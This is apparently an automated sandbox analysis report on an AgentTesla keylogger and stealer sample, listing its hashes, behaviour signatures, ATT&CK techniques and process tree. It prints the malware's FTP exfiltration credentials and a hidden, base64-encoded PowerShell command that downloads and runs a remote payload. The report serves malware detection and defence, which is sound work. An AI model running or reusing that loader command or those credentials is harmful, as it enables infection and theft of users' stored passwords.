agenttesla | d74db56a8d42ee4a9d4c7ed90a09ecb192c4bdab6bd740a862ff2cd10e579589

General

Target

445028.exe
Size

21KB
MD5

b5f4acf9b2cf875975fcea588200f823
SHA1

7af2452548b77bdb864549981d467144508e73a1
SHA256

d74db56a8d42ee4a9d4c7ed90a09ecb192c4bdab6bd740a862ff2cd10e579589
SHA512

33abc7207a109cec3581b22a69fc400a29e2da3b794bce389364c2f427c249a3a563542df91b11ab1aeb5ed6d6be7385cabc759d4f3ca2180e5708393fcbc852
SSDEEP

384:gGOjn5D28LsWPIpaj8deyMEZjsL9y1lemRQ5bYagD/qS9:UFVK/H9

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.lemendoza.com
Port:
21
Username:
[email protected]
Password:
boygirl123456

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1400	powershell.exe
9	1400	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	api.ipify.org
21	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1400 set thread context of 5060	1400	powershell.exe	90

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2672	5060	WerFault.exe	90

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1400	powershell.exe
1400	powershell.exe
5060	RegAsm.exe
5060	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	5060	RegAsm.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3936 wrote to memory of 1400	3936	445028.exe	84
PID 3936 wrote to memory of 1400	3936	445028.exe	84
PID 1400 wrote to memory of 5060	1400	powershell.exe	90
PID 1400 wrote to memory of 5060	1400	powershell.exe	90
PID 1400 wrote to memory of 5060	1400	powershell.exe	90
PID 1400 wrote to memory of 5060	1400	powershell.exe	90
PID 1400 wrote to memory of 5060	1400	powershell.exe	90
PID 1400 wrote to memory of 5060	1400	powershell.exe	90
PID 1400 wrote to memory of 5060	1400	powershell.exe	90
PID 1400 wrote to memory of 5060	1400	powershell.exe	90

C:\Users\Admin\AppData\Local\Temp\445028.exe
"C:\Users\Admin\AppData\Local\Temp\445028.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -WindowStyle Hidden -enc SQBFAFgAIAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJwBoAHQAdABwAHMAOgAvAC8AbwBuAGUAZAByAGkAdgBlAC4AbABpAHYAZQAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAD8AcgBlAHMAaQBkAD0AOQBEADkARAAzAEYAMABDADMANQAzAEYAQQBFADYAQQAlADIAMQAxADMANAAmAGEAdQB0AGgAawBlAHkAPQAhAEEASgBvAFMARQA5AGQAUwBjADgAcQAwAHMAYQB3ACcAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACkA
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5060
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5060 -s 2084
      4⤵
      Program crash
      PID:2672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5060 -ip 5060
1⤵
PID:4076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3osumub.iaa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1400-17-0x0000020262F70000-0x0000020262F80000-memory.dmp

Filesize
64KB

Download
memory/1400-26-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/1400-14-0x0000020263960000-0x0000020263982000-memory.dmp

Filesize
136KB

Download
memory/1400-15-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/1400-16-0x0000020262F70000-0x0000020262F80000-memory.dmp

Filesize
64KB

Download
memory/1400-18-0x0000020263B90000-0x0000020263C12000-memory.dmp

Filesize
520KB

Download
memory/3936-4-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/3936-2-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/3936-3-0x000000001AF10000-0x000000001AF20000-memory.dmp

Filesize
64KB

Download
memory/3936-0-0x0000000000310000-0x000000000031A000-memory.dmp

Filesize
40KB

Download
memory/5060-19-0x0000000000360000-0x00000000003A0000-memory.dmp

Filesize
256KB

Download
memory/5060-23-0x00000000053C0000-0x0000000005964000-memory.dmp

Filesize
5.6MB

Download
memory/5060-24-0x0000000004E00000-0x0000000004E10000-memory.dmp

Filesize
64KB

Download
memory/5060-25-0x0000000004E10000-0x0000000004E76000-memory.dmp

Filesize
408KB

Download
memory/5060-22-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download
memory/5060-27-0x0000000074E70000-0x0000000075620000-memory.dmp

Filesize
7.7MB

Download

Analysis

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